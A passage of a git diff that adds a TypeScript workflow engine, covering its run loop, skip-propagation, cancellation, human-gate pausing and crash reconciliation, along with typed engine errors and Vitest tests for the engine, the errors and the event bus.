+describe('WorkflowEngine — internal failures and handle-side controls', () => { + it('fails the run as run:failed when the store cannot resolve the workflow id at start', async () => { + const host: ExecutionHost = { + ...createInMemoryHost(), + store: { + resolveWorkflowId: () => Promise.reject(new Error('store unavailable')), + persistEvent: () => Promise.resolve(), + listInterruptedRuns: () => Promise.resolve([]), + }, + }; + const events = await drain( + new WorkflowEngine({ host, executor: new StubExecutor() }).start({ + workflow: workflow(SEQUENTIAL), + }), + ); + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:failed'); + }); + + it('fails the run when a durable boundary persist rejects mid-run (engine-internal failure)', async () => { + const inner = new InMemoryRunStore(); + const host: ExecutionHost = { + ...createInMemoryHost(), + store: { + resolveWorkflowId: (slug) => inner.resolveWorkflowId(slug), + persistEvent: (event) => + event.type === 'node:completed' + ? Promise.reject(new Error('disk full')) + : inner.persistEvent(event), + listInterruptedRuns: () => inner.listInterruptedRuns(), + }, + }; + const events = await drain( + new WorkflowEngine({ host, executor: new StubExecutor() }).start({ + workflow: workflow(SEQUENTIAL), + }), + ); + const terminals = terminalsIn(events); + expect(terminals).toHaveLength(1); + expect(terminals[0]?.type).toBe('run:failed'); + if (terminals[0]?.type === 'run:failed') { + expect(terminals[0].error.code).toBe('internal'); + } + }); + + it('cancels via the handle, and a second cancel while cancelling is an idempotent no-op', async () => { + const engine = engineWith({ + slow: (ctx) => + new Promise((resolve) => { + if (ctx.signal.aborted) { + resolve({ kind: 'completed', output: null }); + return; + } + ctx.signal.addEventListener('abort', () => resolve({ kind: 'completed', output: null })); + }), + }); + const handle = engine.start({ + workflow: workflow(` id: hcancel + nodes: + - { id: start, type: input } + - { id: slow, type: transform, transform: 's' } + - { id: done, type: output } + edges: + - { from: start, to: slow } + - { from: slow, to: done }`), + }); + const events: RunEvent[] = []; + for await (const event of handle.events) { + events.push(event); + if (event.type === 'node:started' && event.nodeId === 'slow') { + handle.cancel(); + handle.cancel(); // idempotent — must not throw or emit a second terminal + } + } + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:cancelled'); + }); +}); diff --git a/packages/core/src/engine/engine.ts b/packages/core/src/engine/engine.ts new file mode 100644 index 00000000..9649c40c --- /dev/null +++ b/packages/core/src/engine/engine.ts @@ -0,0 +1,784 @@ +/** + * `WorkflowEngine` (1.N) — the run loop that walks a `RunPlan` (1.M), dispatches every vertex whose + * dependencies are satisfied, and emits the canonical `RunEvent` stream + * ([ADR-0036](../../../../docs/decisions/0036-run-loop-substrate-event-bus-and-execution-host.md), + * sse-event-schema.md). It owns the *loop*, not the node bodies: each ready vertex is dispatched + * through the injected {@link NodeExecutor} seam, which the `AgentRunner` (1.O) and the node-type + * handlers (1.P) fill — so the loop is proven here with stub executors and a real executor plugs in + * unchanged. The engine is **completion-driven** (a vertex becomes ready the moment its last dependency + * settles — the JS event loop is the scheduler, never a sleep/poll), runs independent branches + * concurrently under the `max_parallel` cap, and threads one `AbortSignal` so cancellation is + * cooperative end-to-end. + * + * The two guarantees this file is responsible for: + * - **Skip-propagation.** When a `condition` routes away from a branch (or any vertex is skipped), every + * vertex reachable *only* through it is skipped — gated so a vertex skips only when *all* its + * dependencies route away (no surviving live upstream path). A downstream `fan_in` counts a skipped + * branch as settled, so it joins instead of waiting forever. + * - **Exactly one terminal event.** Every run ends in exactly one of `run:completed | run:failed | + * run:cancelled` (cancel wins a race with a late failure; an uncaught node-handler throw maps to a + * single `run:failed{internal}`; {@link WorkflowEngine.reconcile} fails a crashed non-resumable run + * to `run:failed`, never a stuck `run:started`). `run:paused` / `human_gate:paused` are non-terminal. + * + * 1.N deliberately does **not** own: real node execution (1.O/1.P), node-level retry above the provider + * chain (1.S), the pre-egress budget gate/estimator (1.AC — 1.N only provides the concurrency-cap + * scheduling point and would emit the governance events), real `Checkpointer` persistence and gate + * timeouts (1.R/1.Q). It dispatches a `fan_in` once all its branches have settled and hands the + * `joinStrategy` + live branch set to the executor, which performs the merge (true `wait_first` + * early-cancel is a 1.P refinement) — see run-plan.md §fan-in. + */ + +import { + GateDecisionSchema, + RunEventSchema, + type ExecutionMode, + type GateDecision, + type MaskedSecret, + type RunEvent, + type TokensUsed, +} from '@relavium/shared'; + +import { buildRunPlan, type BuildRunPlanOptions } from '../dag.js'; +import type { PlanVertex, RunPlan } from '../run-plan.js'; +import type { WorkflowDefinition } from '../parser.js'; +import { EngineStateError } from './errors.js'; +import { RunEventBus, type RunEventDraft } from './event-bus.js'; +import type { AbortControllerLike, ExecutionHost } from './execution-host.js'; +import type { NodeExecContext, NodeExecutor, NodeFailure, NodeStreamEvent } from './node-executor.js'; +import { createRunHandle, type RunHandle } from './run-handle.js'; + +/** A vertex's live status in one run. `paused` (at a gate) and `running` are not yet *settled*. */ +type VertexStatus = 'pending' | 'running' | 'completed' | 'failed' | 'skipped' | 'paused'; + +interface VertexState { + status: VertexStatus; + output?: unknown; + /** For a settled `condition`: the immediate target ids it selected (the live out-edges). */ + selectedTargets?: ReadonlySet; +} + +/** A vertex status counts as *settled* (its dependents can evaluate) when it is one of these. */ +const SETTLED: ReadonlySet = new Set(['completed', 'failed', 'skipped']); + +/** The input to {@link WorkflowEngine.start} — a parsed workflow plus its run inputs and mode. */ +export interface StartInput { + /** The parsed, validated workflow (the host read the file and called `parseWorkflow`). */ + readonly workflow: WorkflowDefinition; + /** The run inputs (the `inputs` namespace); a `secret`-typed input is masked in `run:started`. */ + readonly inputs?: Readonly>; + /** The execution mode stamped on `run:started` (default `local`). */ + readonly executionMode?: ExecutionMode; + /** Forwarded to {@link buildRunPlan} (e.g. the resolved-agent registry). */ + readonly planOptions?: BuildRunPlanOptions; +} + +/** Construction dependencies for the engine — the injected host and node-executor seams. */ +export interface WorkflowEngineDeps { + readonly host: ExecutionHost; + readonly executor: NodeExecutor; + /** Validate every emitted event against `RunEventSchema` (default `true`; off only for a hot path). */ + readonly validateEvents?: boolean; + /** Per-consumer event-buffer high-water mark before the producer is asked to await a drain. */ + readonly eventBufferCapacity?: number; +} + +function maskInputs( + inputs: Readonly>, + secretNames: ReadonlySet, +): Record { + const masked: Record = {}; + for (const [key, value] of Object.entries(inputs)) { + masked[key] = secretNames.has(key) + ? ({ secret: true, ref: `inputs.${key}` } satisfies MaskedSecret) + : value; + } + return masked; +} + +/** + * One run's execution state and loop. Created per `start`; holds the plan, the per-vertex states, the + * bus, and the handle. All mutation happens on the single (serialized) drive loop, so there is no + * cross-vertex data race despite concurrent branch execution. + */ +class RunExecution { + readonly runId: string; + readonly handle: RunHandle; + + readonly #plan: RunPlan; + readonly #workflow: WorkflowDefinition; + readonly #inputs: Readonly>; + readonly #maskedInputs: Record; + readonly #executionMode: ExecutionMode; + readonly #host: ExecutionHost; + readonly #executor: NodeExecutor; + readonly #bus: RunEventBus; + readonly #onSettled: (runId: string) => void; + + readonly #abort: AbortControllerLike; + readonly #states = new Map(); + readonly #pendingGates = new Map(); + + #workflowId = ''; + #settled = false; + #cancelling = false; + #failure: { readonly nodeId?: string; readonly error: NodeFailure } | undefined; + #scheduling = false; + #rerun = false; + #pauseEpisode = false; + #startEpochMs = 0; + #cumulativeCostMicrocents = 0; + #totalInputTokens = 0; + #totalOutputTokens = 0; + + constructor(params: { + runId: string; + plan: RunPlan; + workflow: WorkflowDefinition; + inputs: Readonly>; + executionMode: ExecutionMode; + host: ExecutionHost; + executor: NodeExecutor; + bus: RunEventBus; + capacity: number; + onSettled: (runId: string) => void; + }) { + this.runId = params.runId; + this.#plan = params.plan; + this.#workflow = params.workflow; + this.#inputs = params.inputs; + this.#executionMode = params.executionMode; + this.#host = params.host; + this.#executor = params.executor; + this.#bus = params.bus; + this.#onSettled = params.onSettled; + this.#abort = params.host.newAbortController(); + + const secretNames = new Set( + (params.workflow.workflow.inputs ?? []) + .filter((input) => input.type === 'secret') + .map((input) => input.name), + ); + this.#maskedInputs = maskInputs(params.inputs, secretNames); + + for (const id of params.plan.vertices.keys()) { + this.#states.set(id, { status: 'pending' }); + } + this.handle = createRunHandle( + params.bus, + params.runId, + () => { + this.requestCancel(); + }, + params.capacity, + ); + } + + // --- lifecycle ------------------------------------------------------------------------------ + + async begin(): Promise { + this.#startEpochMs = Date.parse(this.#host.clock.now()); + try { + this.#workflowId = await this.#host.store.resolveWorkflowId(this.#workflow.workflow.id); + await this.#emitDurable({ + type: 'run:started', + runId: this.runId, + workflowId: this.#workflowId, + inputs: this.#maskedInputs, + executionMode: this.#executionMode, + }); + this.#schedule(); + } catch { + // Could not even start the run (e.g. the store rejected) — close with the single terminal event + // rather than leaving a started-but-never-finished run. Never swallowed: it becomes run:failed. + await this.#settle('run:failed'); + } + } + + requestCancel(): void { + if (this.#settled) { + throw new EngineStateError('run_already_terminal', 'the run has already terminated', { + runId: this.runId, + }); + } + if (this.#cancelling) { + return; // idempotent — cancelling already in progress + } + this.#cancelling = true; + this.#abort.abort(); + this.#schedule(); + } + + async resume(gateId: string, decision: GateDecision): Promise { + if (this.#settled) { + throw new EngineStateError('run_already_terminal', 'the run has already terminated', { + runId: this.runId, + gateId, + }); + } + if (this.#pendingGates.size === 0) { + throw new EngineStateError('run_not_paused', 'the run has no pending gate to resume', { + runId: this.runId, + gateId, + }); + } + const gate = this.#pendingGates.get(gateId); + if (gate === undefined) { + throw new EngineStateError('unknown_gate', 'no pending gate matches the supplied gateId', { + runId: this.runId, + gateId, + }); + } + this.#pendingGates.delete(gateId); + this.#pauseEpisode = false; // a later idle-with-gates re-emits run:paused for the remaining gates + await this.#emitDurable({ + type: 'human_gate:resumed', + runId: this.runId, + nodeId: gate.vertexId, + decision: decision.decision, + decidedBy: decision.decidedBy, + ...(decision.payload !== undefined ? { payload: decision.payload } : {}), + }); + const state = this.#states.get(gate.vertexId); + if (state !== undefined) { + state.status = 'completed'; + state.output = decision.payload ?? { decision: decision.decision }; + } + this.#schedule(); + } + + // --- the scheduler -------------------------------------------------------------------------- + // + // A single serialized loop drives the run. Every state change (a node settled, a gate resolved, a + // cancel) calls `#schedule`, which runs one `#step` and re-runs if anything changed meanwhile. The + // decision phase reads "is anything running?" from the vertex *statuses* (`#countRunning`), never a + // separate counter that could desync across an `await` — and ready vertices are *claimed* (marked + // `running`) synchronously in `#claimReady` before any await, so a terminal/pause/stall verdict is + // never reached on a transiently-inconsistent view. This is what makes the exactly-one-terminal-event + // invariant and skip-propagation robust against the interleaving of concurrent branch settlements. + + #schedule(): void { + if (this.#scheduling) { + this.#rerun = true; // a settlement landed while a step was in flight — re-evaluate after it + return; + } + this.#scheduling = true; + void this.#loop(); + } + + async #loop(): Promise { + try { + do { + this.#rerun = false; + await this.#step(); + } while (this.#rerun && !this.#settled); + } finally { + this.#scheduling = false; + } + } + + async #step(): Promise { + if (this.#settled) { + return; + } + this.#propagateSkips(); + const running = this.#countRunning(); + + if (this.#cancelling) { + if (running === 0) { + await this.#settle('run:cancelled'); + } + return; + } + if (this.#failure !== undefined) { + if (running === 0) { + await this.#settle('run:failed'); + } + return; + } + if (this.#allSettled()) { + await this.#settle('run:completed'); + return; + } + + const ready = this.#claimReady(running); + if (ready.length === 0) { + if (running === 0) { + if (this.#pendingGates.size > 0) { + await this.#emitPausedOnce(); + } else { + // A valid DAG always makes progress while nothing runs and no gate is pending; reaching here + // is an engine-invariant breach (e.g. a skip-propagation bug) — fail loudly, never hang. + this.#failure = { + error: { + code: 'internal', + message: 'run stalled with no runnable node', + retryable: false, + }, + }; + this.#schedule(); + } + } + return; + } + // The vertices are already marked `running` (claimed synchronously above), so these awaits cannot + // make a later step see a transient "nothing running" view. + for (const vertex of ready) { + await this.handle.whenConsumersReady(); // coarse backpressure (no-drop) + await this.#emitDurable({ + type: 'node:started', + runId: this.runId, + nodeId: vertex.id, + nodeType: vertex.type, + }); + void this.#execute(vertex); + } + } + + /** Synchronously claim every dispatchable vertex (up to the cap), marking it `running`. */ + #claimReady(alreadyRunning: number): PlanVertex[] { + const cap = this.#plan.maxParallel ?? Number.POSITIVE_INFINITY; + const claimed: PlanVertex[] = []; + let running = alreadyRunning; + for (const vertexId of this.#plan.order) { + if (running >= cap) { + break; + } + const vertex = this.#plan.vertices.get(vertexId); + const state = this.#states.get(vertexId); + if (vertex === undefined || state === undefined || state.status !== 'pending') { + continue; + } + if (!this.#allDepsSettled(vertex) || !this.#hasLiveEdge(vertex)) { + continue; + } + state.status = 'running'; + claimed.push(vertex); + running += 1; + } + return claimed; + } + + async #execute(vertex: PlanVertex): Promise { + const startedAtMs = this.#elapsedMs(); + let outcome: Awaited>; + try { + const ctx: NodeExecContext = { + vertex, + runOutputs: this.#completedOutputs(), + inputs: this.#inputs, + emit: (event) => { + this.#nodeEmit(event); + }, + signal: this.#abort.signal, + attemptNumber: 1, + }; + outcome = await this.#executor.execute(ctx); + } catch { + // The catch-all: any uncaught throw from a node handler maps to a single internal failure + // (a tool handler classifies its own failures as tool_failed; a sandbox throw as sandbox_error). + outcome = { + kind: 'failed', + error: { + code: 'internal', + message: 'the node handler threw an unexpected error', + retryable: false, + }, + }; + } + await this.#onOutcome(vertex, outcome, startedAtMs); + } + + async #onOutcome( + vertex: PlanVertex, + outcome: Awaited>, + startedAtMs: number, + ): Promise { + if (this.#settled) { + return; // terminal already emitted — ignore a late settle (e.g. an aborted straggler) + } + const state = this.#states.get(vertex.id); + try { + switch (outcome.kind) { + case 'completed': + case 'branch': { + // Update status SYNCHRONOUSLY before emitting, so `#countRunning` is consistent the instant + // this vertex settles — a concurrent step never sees it as still running. + if (state !== undefined) { + state.status = 'completed'; + state.output = outcome.output; + if (outcome.kind === 'branch') { + state.selectedTargets = new Set(outcome.selected); + } + } + const tokens: TokensUsed = outcome.tokensUsed ?? { input: 0, output: 0 }; + this.#totalInputTokens += tokens.input; + this.#totalOutputTokens += tokens.output; + await this.#emitDurable({ + type: 'node:completed', + runId: this.runId, + nodeId: vertex.id, + output: outcome.output, + tokensUsed: tokens, + durationMs: Math.max(0, this.#elapsedMs() - startedAtMs), + }); + break; + } + case 'failed': { + if (state !== undefined) { + state.status = 'failed'; + } + // First failure is the root cause; cancel wins, so do not set #failure while cancelling. + if (this.#failure === undefined && !this.#cancelling) { + this.#failure = { nodeId: vertex.id, error: outcome.error }; + this.#abort.abort(); // cooperatively cancel sibling branches + } + await this.#emitDurable({ + type: 'node:failed', + runId: this.runId, + nodeId: vertex.id, + // Stamp a secret-free correlation id at this single translation point (ADR-0036) so a + // surface can quote it and it joins to the structured internal log. + error: { ...outcome.error, correlationId: this.#host.ids.newId() }, + }); + break; + } + case 'paused': { + const gateId = outcome.gate.gateId ?? this.#host.ids.newId(); + if (state !== undefined) { + state.status = 'paused'; + } + this.#pendingGates.set(gateId, { vertexId: vertex.id }); + await this.#emitDurable({ + type: 'human_gate:paused', + runId: this.runId, + nodeId: vertex.id, + gateId, + gateType: outcome.gate.gateType, + message: outcome.gate.message, + ...(outcome.gate.assignee !== undefined ? { assignee: outcome.gate.assignee } : {}), + ...(outcome.gate.timeoutMs !== undefined ? { timeoutMs: outcome.gate.timeoutMs } : {}), + ...(outcome.gate.expiresAt !== undefined ? { expiresAt: outcome.gate.expiresAt } : {}), + }); + break; + } + } + } catch { + // An engine-internal failure while settling a node (e.g. a durable persist rejected). Never leave + // the run hanging: mark this vertex failed and fail the run (unless already cancelling/failing). + if (state !== undefined && state.status === 'running') { + state.status = 'failed'; + } + if (!this.#settled && this.#failure === undefined && !this.#cancelling) { + this.#failure = { + nodeId: vertex.id, + error: { + code: 'internal', + message: 'the engine failed while settling a node', + retryable: false, + }, + }; + this.#abort.abort(); + } + } + this.#schedule(); + } + + async #emitPausedOnce(): Promise { + if (this.#pauseEpisode) { + return; + } + this.#pauseEpisode = true; + const gateIds = [...this.#pendingGates.keys()]; + await this.#emitDurable({ + type: 'run:paused', + runId: this.runId, + pendingGateCount: gateIds.length, + gateIds, + }); + } + + async #settle(type: 'run:completed' | 'run:failed' | 'run:cancelled'): Promise { + if (this.#settled) { + return; // exactly-one-terminal-event: idempotent + } + this.#settled = true; + this.#abort.abort(); // make sure any straggler executor sees cancellation + const durationMs = Math.max(0, this.#elapsedMs()); + let draft: RunEventDraft; + if (type === 'run:completed') { + draft = { + type, + runId: this.runId, + outputs: this.#collectOutputs('output'), + totalTokensUsed: { input: this.#totalInputTokens, output: this.#totalOutputTokens }, + totalCostMicrocents: this.#cumulativeCostMicrocents, + durationMs, + }; + } else if (type === 'run:failed') { + const failure = this.#failure ?? { + error: { code: 'internal' as const, message: 'the run failed', retryable: false }, + }; + draft = { + type, + runId: this.runId, + error: { + ...failure.error, + ...(failure.nodeId !== undefined ? { nodeId: failure.nodeId } : {}), + correlationId: this.#host.ids.newId(), + }, + partialOutputs: this.#collectOutputs('completed'), + }; + } else { + draft = { type, runId: this.runId }; + } + await this.#emitDurable(draft); + this.#onSettled(this.runId); + } + + // --- readiness, skip-propagation, edges ----------------------------------------------------- + + #allDepsSettled(vertex: PlanVertex): boolean { + for (const dep of vertex.dependencies) { + const state = this.#states.get(dep); + if (state === undefined || !SETTLED.has(state.status)) { + return false; + } + } + return true; + } + + /** A vertex has a live in-edge when ≥1 dependency reached it on a *taken* path (a root is always live). */ + #hasLiveEdge(vertex: PlanVertex): boolean { + if (vertex.dependencies.length === 0) { + return true; // a root vertex (e.g. an `input`) is always live + } + for (const dep of vertex.dependencies) { + const state = this.#states.get(dep); + if (state === undefined || state.status !== 'completed') { + continue; // a skipped or failed dependency carries no live edge + } + const depVertex = this.#plan.vertices.get(dep); + if (depVertex?.type === 'condition') { + if (state.selectedTargets?.has(vertex.id) === true) { + return true; // the condition selected the branch leading to this vertex + } + continue; // the condition routed away from this vertex + } + return true; // a normally-completed non-condition dependency is a live edge + } + return false; + } + + #propagateSkips(): void { + let changed = true; + while (changed) { + changed = false; + for (const [id, state] of this.#states) { + if (state.status !== 'pending') { + continue; + } + const vertex = this.#plan.vertices.get(id); + if (vertex === undefined || !this.#allDepsSettled(vertex) || this.#hasLiveEdge(vertex)) { + continue; + } + state.status = 'skipped'; // all deps settled and every in-edge is dead → unreachable + changed = true; + } + } + } + + /** How many vertices are currently executing — derived from status, the single source of truth. */ + #countRunning(): number { + let running = 0; + for (const state of this.#states.values()) { + if (state.status === 'running') { + running += 1; + } + } + return running; + } + + #allSettled(): boolean { + for (const state of this.#states.values()) { + if (!SETTLED.has(state.status)) { + return false; + } + } + return true; + } + + // --- helpers -------------------------------------------------------------------------------- + + #completedOutputs(): ReadonlyMap { + const outputs = new Map(); + for (const [id, state] of this.#states) { + if (state.status === 'completed') { + outputs.set(id, state.output); + } + } + return outputs; + } + + #collectOutputs(mode: 'output' | 'completed'): Record { + const outputs: Record = {}; + for (const [id, state] of this.#states) { + if (state.status !== 'completed') { + continue; + } + if (mode === 'output' && this.#plan.vertices.get(id)?.type !== 'output') { + continue; + } + outputs[id] = state.output ?? null; + } + return outputs; + } + + #nodeEmit(event: NodeStreamEvent): void { + const runId = this.runId; + // Narrow per-type before spreading: spreading the union value directly would collapse to its common + // fields. The engine owns the run-wide `cumulativeCostMicrocents` (a per-node executor cannot know + // it), so it is recomputed here authoritatively; the rest pass through with the correlation key added. + switch (event.type) { + case 'agent:token': + this.#bus.emit({ ...event, runId }); + return; + case 'agent:tool_call': + this.#bus.emit({ ...event, runId }); + return; + case 'agent:tool_result': + this.#bus.emit({ ...event, runId }); + return; + case 'agent:file_patch_proposed': + this.#bus.emit({ ...event, runId }); + return; + case 'cost:updated': + this.#cumulativeCostMicrocents += event.costMicrocents; + this.#bus.emit({ + ...event, + runId, + cumulativeCostMicrocents: this.#cumulativeCostMicrocents, + }); + return; + } + } + + #emitDurable(draft: RunEventDraft): Promise { + // Persist the boundary/terminal event BEFORE delivery (ADR-0036): the sequenceNumber is assigned by + // the bus (the single authoritative point) at `next`, then persisted, then delivered — so a crash + // between persist and delivery cannot re-run a completed node or lose its output. + const event = this.#bus.next(draft); + return this.#host.store.persistEvent(event).then(() => { + this.#bus.deliver(event); + }); + } + + #elapsedMs(): number { + return Date.parse(this.#host.clock.now()) - this.#startEpochMs; + } +} + +/** + * The engine façade every surface drives: `start` / `resume` / `cancel`, plus `reconcile` for + * crash recovery. Surface-agnostic and platform-free — host concerns (clock, ids, persistence) and + * node execution are injected ({@link WorkflowEngineDeps}). + */ +export class WorkflowEngine { + readonly #host: ExecutionHost; + readonly #executor: NodeExecutor; + readonly #validateEvents: boolean; + readonly #capacity: number; + readonly #runs = new Map(); + + constructor(deps: WorkflowEngineDeps) { + this.#host = deps.host; + this.#executor = deps.executor; + this.#validateEvents = deps.validateEvents ?? true; + this.#capacity = deps.eventBufferCapacity ?? 256; + } + + /** + * Start a run. Builds the `RunPlan` (a {@link buildRunPlan} graph error throws here — a run never + * starts on an invalid graph), then returns a {@link RunHandle} immediately; `run:started` and the + * walk happen on the returned handle's stream (the handle subscribes before `run:started`, so the + * consumer can attach lazily without a race). + */ + start(input: StartInput): RunHandle { + const plan = buildRunPlan(input.workflow, input.planOptions); + const runId = this.#host.ids.newId(); + const bus = new RunEventBus({ now: this.#host.clock.now, validate: this.#validateEvents }); + const execution = new RunExecution({ + runId, + plan, + workflow: input.workflow, + inputs: input.inputs ?? {}, + executionMode: input.executionMode ?? 'local', + host: this.#host, + executor: this.#executor, + bus, + capacity: this.#capacity, + onSettled: () => { + /* settled runs are retained so resume/cancel can report run_already_terminal; a long-lived + host may prune them on a TTL — out of 1.N scope. */ + }, + }); + this.#runs.set(runId, execution); + void execution.begin(); + return execution.handle; + } + + /** Apply a gate decision and continue the run. Throws {@link EngineStateError} on a misuse. */ + async resume(runId: string, gateId: string, decision: GateDecision): Promise { + const parsed = GateDecisionSchema.safeParse(decision); + if (!parsed.success) { + throw new EngineStateError('invalid_decision', 'the gate decision failed validation', { + runId, + gateId, + }); + } + const execution = this.#runs.get(runId); + if (execution === undefined) { + throw new EngineStateError('unknown_run', 'no run matches the supplied runId', { runId }); + } + await execution.resume(gateId, parsed.data); + } + + /** Request cooperative cancellation. Throws {@link EngineStateError} for an unknown/terminal run. */ + cancel(runId: string): void { + const execution = this.#runs.get(runId); + if (execution === undefined) { + throw new EngineStateError('unknown_run', 'no run matches the supplied runId', { runId }); + } + execution.requestCancel(); + } + + /** + * Crash reconciliation (startup). For every run the store reports as interrupted-and-not-resumable + * (started, no terminal event, not parked at a gate), persist a terminal `run:failed{internal}` + * continuing that run's `sequenceNumber` — so a crashed run never lingers as a stuck `run:started`. + * Returns the reconciled events. Resumable runs (parked at a gate) are left for `resume`. + */ + async reconcile(): Promise { + const interrupted = await this.#host.store.listInterruptedRuns(); + const reconciled: RunEvent[] = []; + for (const run of interrupted) { + if (run.resumable) { + continue; + } + const event = RunEventSchema.parse({ + type: 'run:failed', + runId: run.runId, + timestamp: this.#host.clock.now(), + sequenceNumber: run.lastSequenceNumber + 1, + error: { + code: 'internal', + message: 'the run was interrupted before completion and reconciled on restart', + retryable: false, + }, + partialOutputs: {}, + }); + await this.#host.store.persistEvent(event); + reconciled.push(event); + } + return reconciled; + } +} diff --git a/packages/core/src/engine/errors.test.ts b/packages/core/src/engine/errors.test.ts new file mode 100644 index 00000000..3272a2f1 --- /dev/null +++ b/packages/core/src/engine/errors.test.ts @@ -0,0 +1,25 @@ +import { describe, expect, it } from 'vitest'; + +import { EngineStateError } from './errors.js'; + +describe('EngineStateError', () => { + it('carries the code discriminant and optional run/gate ids, narrowed on code not message', () => { + const error = new EngineStateError('unknown_gate', 'no pending gate matches', { + runId: 'run-1', + gateId: 'gate-1', + }); + expect(error).toBeInstanceOf(Error); + expect(error.name).toBe('EngineStateError'); + expect(error.code).toBe('unknown_gate'); + expect(error.runId).toBe('run-1'); + expect(error.gateId).toBe('gate-1'); + }); + + it('omits absent ids and attaches a non-secret cause for logs', () => { + const cause = new Error('underlying'); + const error = new EngineStateError('unknown_run', 'no run matches', { cause }); + expect(error.runId).toBeUndefined(); + expect(error.gateId).toBeUndefined(); + expect(error.cause).toBe(cause); + }); +}); diff --git a/packages/core/src/engine/errors.ts b/packages/core/src/engine/errors.ts new file mode 100644 index 00000000..3fd8912f --- /dev/null +++ b/packages/core/src/engine/errors.ts @@ -0,0 +1,51 @@ +/** + * Typed errors thrown by the `WorkflowEngine` **API boundary** (1.N) — `start` / `resume` / `cancel` + * misuse, validated at the edge before the call touches run state (docs/standards/error-handling.md: + * Zod/guard the untrusted boundary, then trust the core). They are distinct from the in-stream run + * failures the engine *emits* as `node:failed` / `run:failed` carrying a closed `ErrorCode` + * (@relavium/shared): those describe a run that started and then failed; these reject an API call that + * could not be honoured at all (an unknown run, a resume of a run with no pending gate, a stale gate + * id). Callers narrow on {@link EngineStateError.code}, never on `message`. + * + * Kept in `packages/core/src/engine/` rather than the parser/graph `errors.ts` deliberately: this is the + * run-loop error family, a sibling not a member of the parse-time family, and the separation keeps the + * engine subtree self-contained. The message is user-safe and secret-free — it names the run/gate by id + * (a UUID / opaque id, never a secret) and never carries run inputs, a node output, or a host stack. + */ + +/** Stable discriminant for an engine-API-boundary fault — narrow on this, never on `message`. */ +export type EngineStateErrorCode = + | 'unknown_run' // `resume` / `cancel` named a `runId` this engine instance is not tracking + | 'run_already_terminal' // the run already settled (completed / failed / cancelled) — no resume/cancel + | 'run_not_paused' // `resume` was called while the run has no pending gate to resolve + | 'unknown_gate' // the `gateId` does not match any gate currently pending on the run + | 'invalid_decision'; // the supplied `GateDecision` failed schema validation at the boundary + +/** + * A `WorkflowEngine` API call could not be honoured. Thrown synchronously from `start` / `resume` / + * `cancel`; it never appears on the event stream (a run that *began* and then failed surfaces as a + * `run:failed` event with an `ErrorCode`, not this). + */ +export class EngineStateError extends Error { + readonly code: EngineStateErrorCode; + /** The run this fault concerns, when applicable — a `runId` (UUID), never a secret. */ + readonly runId?: string; + /** The gate this fault concerns, when applicable — a `gateId` (opaque), never a secret. */ + readonly gateId?: string; + + constructor( + code: EngineStateErrorCode, + message: string, + opts?: { runId?: string; gateId?: string; cause?: unknown }, + ) { + super(message, opts?.cause === undefined ? undefined : { cause: opts.cause }); + this.name = 'EngineStateError'; + this.code = code; + if (opts?.runId !== undefined) { + this.runId = opts.runId; + } + if (opts?.gateId !== undefined) { + this.gateId = opts.gateId; + } + } +} diff --git a/packages/core/src/engine/event-bus.test.ts b/packages/core/src/engine/event-bus.test.ts new file mode 100644 index 00000000..591da57b --- /dev/null +++ b/packages/core/src/engine/event-bus.test.ts @@ -0,0 +1,109 @@ +import { describe, expect, it, vi } from 'vitest'; + +import type { RunEvent } from '@relavium/shared'; + +import { RunEventBus, type RunEventDraft } from './event-bus.js'; + +/** A deterministic ISO clock — 1ms per read from a fixed base, so timestamps are reproducible. */ +function fakeNow(): () => string { + let tick = Date.parse('2026-06-13T00:00:00.000Z'); + return () => new Date(tick++).toISOString(); +} + +const nodeStarted = (runId: string, nodeId: string): RunEventDraft => ({ + type: 'node:started', + runId, + nodeId, + nodeType: 'input', +}); + +describe('RunEventBus — sequence stamping (the single producer-side translation point)', () => { + it('assigns a monotonic, gap-free sequenceNumber per correlation key starting at 0', () => { + const bus = new RunEventBus({ now: fakeNow() }); + const a = bus.next(nodeStarted('run-1', 'a')); + const b = bus.next(nodeStarted('run-1', 'b')); + const c = bus.next(nodeStarted('run-1', 'c')); + expect([a.sequenceNumber, b.sequenceNumber, c.sequenceNumber]).toEqual([0, 1, 2]); + }); + + it('keeps an independent counter per correlation key (two runs do not share a sequence)', () => { + const bus = new RunEventBus({ now: fakeNow() }); + expect(bus.next(nodeStarted('run-1', 'a')).sequenceNumber).toBe(0); + expect(bus.next(nodeStarted('run-2', 'a')).sequenceNumber).toBe(0); + expect(bus.next(nodeStarted('run-1', 'b')).sequenceNumber).toBe(1); + expect(bus.next(nodeStarted('run-2', 'b')).sequenceNumber).toBe(1); + }); + + it('keys the counter on sessionId for a session-correlated (dual-envelope) event', () => { + const bus = new RunEventBus({ now: fakeNow() }); + // agent:token is a dual-envelope event — on a session it carries sessionId, not runId. + const tok: RunEventDraft = { type: 'agent:token', sessionId: 's1', nodeId: 'n', token: 'x', model: 'm' }; + expect(bus.next(tok).sequenceNumber).toBe(0); + expect(bus.next(tok).sequenceNumber).toBe(1); + // A run on the same bus keeps its own sequence (disjoint correlation keys). + expect(bus.next(nodeStarted('run-1', 'a')).sequenceNumber).toBe(0); + }); + + it('stamps an ISO-8601 timestamp from the injected clock', () => { + const bus = new RunEventBus({ now: () => '2026-06-13T12:00:00.000Z' }); + expect(bus.next(nodeStarted('run-1', 'a')).timestamp).toBe('2026-06-13T12:00:00.000Z'); + }); + + it('throws when a draft carries neither runId nor sessionId (an engine invariant breach)', () => { + const bus = new RunEventBus({ now: fakeNow() }); + // A structurally-incomplete draft — the engine always sets exactly one key, so this is a guard. + const orphan = { type: 'node:started', nodeId: 'a', nodeType: 'input' } as unknown as RunEventDraft; + expect(() => bus.next(orphan)).toThrow(/neither runId nor sessionId/); + }); + + it('does not advance the counter when validation rejects the event', () => { + const bus = new RunEventBus({ now: fakeNow() }); + const bad = { + type: 'cost:updated', + runId: 'run-1', + nodeId: 'n', + model: 'm', + inputTokens: 0, + outputTokens: 0, + costMicrocents: -1, // nonNegativeInt — rejected + cumulativeCostMicrocents: 0, + } as unknown as RunEventDraft; + expect(() => bus.next(bad)).toThrow(); + // The next valid event still gets sequence 0 — the failed stamp did not consume a number. + expect(bus.next(nodeStarted('run-1', 'a')).sequenceNumber).toBe(0); + }); + + it('skips Zod validation when validate:false but still stamps the envelope', () => { + const bus = new RunEventBus({ now: () => '2026-06-13T12:00:00.000Z', validate: false }); + const event = bus.next(nodeStarted('run-1', 'a')); + expect(event.sequenceNumber).toBe(0); + 